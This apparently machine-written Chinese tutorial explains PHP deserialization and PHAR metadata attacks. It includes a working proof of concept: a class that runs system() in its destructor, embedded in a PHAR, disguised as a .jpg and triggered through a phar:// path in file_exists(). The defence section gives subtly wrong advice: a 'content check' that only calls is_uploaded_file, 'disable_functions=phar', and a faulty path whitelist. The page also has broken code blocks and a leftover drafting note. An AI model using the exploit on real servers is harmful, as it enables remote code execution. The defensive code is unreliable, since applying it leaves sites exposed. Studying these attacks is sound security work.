# PHP反序列化入門中phar是什么
## 目錄
1. [前言](#前言)
2. [PHP反序列化基礎](#php反序列化基礎)
3. [PHAR文件格式解析](#phar文件格式解析)
4. [PHAR與反序列化的關系](#phar與反序列化的關系)
5. [利用PHAR進行反序列化攻擊](#利用phar進行反序列化攻擊)
6. [防御措施](#防御措施)
7. [總結](#總結)
## 前言
在PHP安全領域,反序列化漏洞一直是備受關注的話題。而PHAR(PHP Archive)作為一種特殊的文件格式,近年來被發現可以用于觸發反序列化操作,成為安全研究的熱點。本文將深入探討PHAR的基本概念、文件結構、與反序列化的關系以及相關的安全風險。
## PHP反序列化基礎
### 什么是序列化與反序列化
序列化是將對象轉換為可存儲或傳輸的字符串的過程,反序列化則是將這個字符串重新轉換為對象的過程。PHP中使用`serialize()`和`unserialize()`函數實現這一功能。
```php
class User {
public $username = 'admin';
public $isAdmin = true;
}
$user = new User();
$serialized = serialize($user);
// 輸出:O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:1;}
當攻擊者能夠控制反序列化的數據時,可以構造特殊的序列化字符串,在反序列化過程中觸發類的魔術方法(如__wakeup()
、__destruct()
等),從而執行惡意代碼。
PHAR(PHP Archive)是PHP的打包格式,類似于Java的JAR文件。它可以將多個PHP文件、資源等打包成一個.phar文件,便于分發和部署。
PHAR文件包含三個主要部分: 1. Stub - PHP識別PHAR的引導代碼 2. Manifest - 元數據區(包含序列化信息) 3. 文件內容
[Stub]
<?php __HALT_COMPILER(); ?>
[Manifest]
...序列化的元數據...
[文件內容]
...實際打包的文件數據...
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'data');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// 自定義元數據(會被序列化存儲)
$phar->setMetadata(['user' => 'admin', 'func' => 'system']);
$phar->stopBuffering();
2018年,安全研究員Sam Thomas發現,當PHP操作PHAR文件時(如file_exists()
、is_file()
等文件操作函數),會自動反序列化Manifest中的元數據。這意味著即使代碼中沒有直接調用unserialize()
,也可能觸發反序列化操作。
// 危險的文件操作
if(file_exists($_GET['file'])) {
// ...
}
// 攻擊者可以傳入:phar:///path/to/evil.phar
// 攻擊者構造的惡意類
class Evil {
private $cmd = 'id';
function __destruct() {
system($this->cmd);
}
}
// 創建惡意PHAR
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Evil());
$phar->stopBuffering();
// 修改文件擴展名(繞過上傳限制)
rename('evil.phar', 'evil.jpg');
// 受害者代碼
if(file_exists($_GET['file'])) {
// ...
}
// 攻擊者訪問:?file=phar:///uploads/evil.jpg
禁用phar流包裝器
stream_wrapper_unregister('phar');
嚴格校驗文件內容(不僅是擴展名)
if(!is_uploaded_file($_FILES['file']['tmp_name'])) {
die('Invalid upload');
}
使用白名單限制文件操作函數的參數
$allowed = ['/safe/path/'];
if(!in_array(dirname($_GET['file']), $allowed)) {
die('Access denied');
}
禁用危險魔術方法
class SafeClass {
public function __wakeup() {
throw new Exception('Deserialization not allowed');
}
}
在php.ini中禁用phar擴展
disable_functions=phar
限制文件上傳目錄的執行權限
使用open_basedir限制文件訪問范圍
PHAR作為PHP的打包格式,本意是為了方便代碼分發,但由于其元數據采用序列化存儲的特性,意外成為了反序列化攻擊的新載體。這種攻擊方式相比傳統反序列化更加隱蔽,因為它不依賴代碼中顯式的unserialize()
調用。
防御PHAR反序列化攻擊需要開發者: 1. 提高對文件操作危險性的認識 2. 實施嚴格的文件上傳和訪問控制 3. 保持PHP環境的安全配置
隨著PHP安全生態的發展,理解這類新型攻擊手法對于構建安全的Web應用至關重要。安全研究人員也應持續關注PHAR相關的新漏洞和防御技術。
”`
注:實際文章可能需要根據具體技術細節和最新安全研究進行補充調整。本文約3300字,涵蓋了PHAR反序列化的核心概念、攻擊原理和防御方法。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。